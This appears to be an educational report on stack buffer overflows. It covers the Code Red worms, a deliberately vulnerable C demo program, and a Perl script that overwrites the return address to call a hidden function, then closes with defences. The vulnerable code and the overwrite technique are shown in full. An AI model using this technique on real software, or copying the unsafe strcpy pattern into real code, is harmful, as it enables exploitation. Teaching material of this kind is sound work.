a failed attempt at a denial-of-service attack on www.whitehouse.gov. The Code Red II 

worm exploited the very same vulnerability, except it installed a back door designed to 

make your entire hard drive available to attackers over the Internet. 

Between the two worms, about 800,000 machines infected and an estimated 

$2.5 billion in damages, lost productivity, and clean-up costs. 

 
Timeline of events 
18 June 2001- eEye Digital security reports the vulnerability 

18 June 2001- Microsoft releases a patch 

19 June 2001 – CERT Advisory CA-2001-13 released 

12 July 2001 – First incarnation of Code Red released, doesn’t spread as 

well as it could. 

19 July 2001 – Second incarnation of Code Red released, nearly the 

same code but it spreads much better, failed attempt at a denial-of-service 

attack on www.whitehouse.gov (100’s of thousands of machines infected) 

19 July 2001 – CERT advisory CA-2001-19 released 

31 July 2001 – CAIDA follow-up survey shows that nearly a third of the 

machines infected by Code Red were still not patched 

4 August 2001 – 16 days later, Code Red II is released, exploiting the very 

same vulnerability, but installing a back door on infected machines. 100’s 

of thousands more machines are infected or re-infected.  Code Red II was 

probably released by a different party as it shared no code with the 

original Code Red. 
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A SAMPLE PROGRAM 
DEVELOPED BY US 
TO DEMONSTRATE A    
STACK OVERFLOW 
AND ITS 
CONSEQUENCES 
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/* 

StackOverrun.c 

This program shows an example of how a stack based buffer overrun can be used to 

execute arbitrary code. Its objective is to find an i/p string that executes the function bar. 

*/ 

#include <stdio.h> 

#include <string.h> 

void foo(const char* input) 

{ 

    char buf[10]; 

    //It's a trick to view the stack 

    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n"); 

    strcpy(buf, input); 

    printf("%s\n", buf); 

    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); 

} 

void bar(void) 

{ 

    printf("Augh! I've been hacked!\n"); 

} 

 

int main(int argc, char* argv[]) 

{ 

    printf("Address of foo = %p\n", foo); 

    printf("Address of bar = %p\n", bar); 

    if (argc != 2)  

    { 

        printf("Please supply a string as an argument!\n"); 

        return -1; 

    }  

    foo(argv[1]); 

    return 0; 

} 
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C:\>StackOverrun.exe Hello 

Address of foo = 00401000 

Address of bar = 00401045 

My stack looks like: 

00000000 

00000000 

7FFDF000 

0012FF80 

0040108A <-- We want to overwrite the return address for foo. 

00410EDE 

 

Hello 

Now the stack looks like: 

6C6C6548 <-- You can see where "Hello" was copied in. 

0000006F 

7FFDF000 

0012FF80 

0040108A 

00410EDE 

Now for the classic test for buffer overruns—we input a long string: 

 

C:\>StackOverrun.exe AAAAAAAAAAAAAAAAAAAAAAAA 

Address of foo = 00401000 

Address of bar = 00401045 

My stack looks like: 

00000000 

00000000 

7FFDF000 

0012FF80 

0040108A 

00410ECE 

 

AAAAAAAAAAAAAAAAAAAAAAAA 

Now the stack looks like: 
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41414141 

41414141 

41414141 

41414141 

41414141 

41414141 

And we get the application error message claiming the instruction at 0x41414141 tried to 

access memory at address 0x41414141. 

C:\>StackOverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 

Address of foo = 00401000 

Address of bar = 00401045 

My stack looks like: 

00000000 

00000000 

7FFDF000 

0012FF80 

0040108A 

00410EBE 

 

ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 

Now the stack looks like: 

44434241 

48474645 

4C4B4A49 

504F4E4D 

54535251 

58575655 

 

The application error message now shows that we're trying to execute instructions at 

0x54535251. Glancing again at our ASCII charts, we see that 0x54 is the code for the 

letter T, so that's what we'd like to modify. Let’s now try this: 

 

C:\>StacOverrun.exe ABCDEFGHIJKLMNOPQRS 

Address of foo = 00401000 
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Address of bar = 00401045 

My stack looks like: 

00000000 

00000000 

7FFDF000 

0012FF80 

0040108A 

00410ECE 

 

ABCDEFGHIJKLMNOPQRS 

Now the stack looks like: 

44434241 

48474645 

4C4B4A49 

504F4E4D 

00535251 

00410ECE 

Now we're getting somewhere! By changing the user input, we're able to manipulate 

where the program tries to execute the next instruction. We're controlling the program 

flow with user input! Clearly, if we could send it 0x45, 0x10, 0x40 instead of QRS, we 

could get bar to execute. So how do you pass these odd characters—0x10 isn't 

printable—on the command line? Like any good hacker, I'll use the following Perl script 

named HackOverrun.pl to easily send the application an arbitrary command line: 

$arg = "ABCDEFGHIJKLMNOP"."\x45\x10\x40"; 

$cmd = "StackOverrun ".$arg; 

system($cmd); 

Running this script produces the desired result: 

C:\>perl HackOverrun .pl 

Address of foo = 00401000 

Address of bar = 00401045 

My stack looks like: 

77FB80DB 

77F94E68 
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7FFDF000 

0012FF80 

0040108A 

00410ECA 

 

ABCDEFGHIJKLMNOPE?@ 

Now the stack looks like: 

44434241 

48474645 

4C4B4A49 

504F4E4D 

00401045 

00410ECA 

Augh! I've been hacked! 

/* 
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This work in progress addresses a serious, systemic problem: the programming 

technology and programmer mistakes that open the door for repeated attacks on critical 

infrastructure software across many vendors.  

We have analyzed the characteristics of several buffer overflow attacks, the 

reasons for their popularity, and the effectiveness and costs of various defenses against 

them. Until recently the attackers seemed to have the upper hand, and the traditional 

defenses seemed largely impotent to stop these attacks. We analyzed the reasons for 

this. The recent appearances of effective defenses that break some of these obstacles 

give reason for hope that finally the defenders might have a chance to gain the upper 

hand against this type of attack.  

All the methods/tools described above are limited in one manner or another. No 

tool can solve completely the problem of buffer overflow, but they surely can decrease 

the probability of stack smashing attacks. However, code scrutiny (writing secure code) 

is still the best possible solution to these attacks. Programmers should be educated to 

prevent/minimize the use of standard unsafe functions. In addition, no warning given by 

the compiler should be taken lightly. With time and increasing awareness among 

developers, buffer overflow problems are predicted to decrease in importance and 

frequency. Security-related issues are still expected to be around, though, by various 

other means. 

From a programmer's point of view, make sure you use secure functions when 

using the stack, and naturally expect the unexpected to happen - making sure you 

provide methods to deal with the potential bug in user defined input. In a more general 

perspective, knowing how to code exploits provides a welcomed understanding of how 

the internals of programs operate, and passed through the specific registers on the stack. 

Buffer overflow exploits are here to stay. They are pervasive, powerful, and easy 

to use. They are the tool of choice to today’s attacker, and must be prevented. Keeping 

systems up-to-date with the most current security patches will protect servers against 

these powerful threats. 
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	To understand what stack buffers are we must first understand how a process is organized in memory. Processes are divided into three regions: Text, Data, and Stack. We will concentrate on the stack region, but first a small overview of the other regions is in order. The text region is fixed by the program and includes code (instructions) and read-only data. This region corresponds to the text section of the executable file. This region is normally marked read-only and any attempt to write to it will result in a segmentation violation. The data region contains initialized and un-initialized data. Static variables are stored in this region. The data region corresponds to the data-bss sections of the executable file. Its size can be changed with the brk(2) system call. If the expansion of the bss data or the user stack exhausts available memory, the process is blocked and is rescheduled to run again with a larger memory space. New memory is added between the data and stack segments.  
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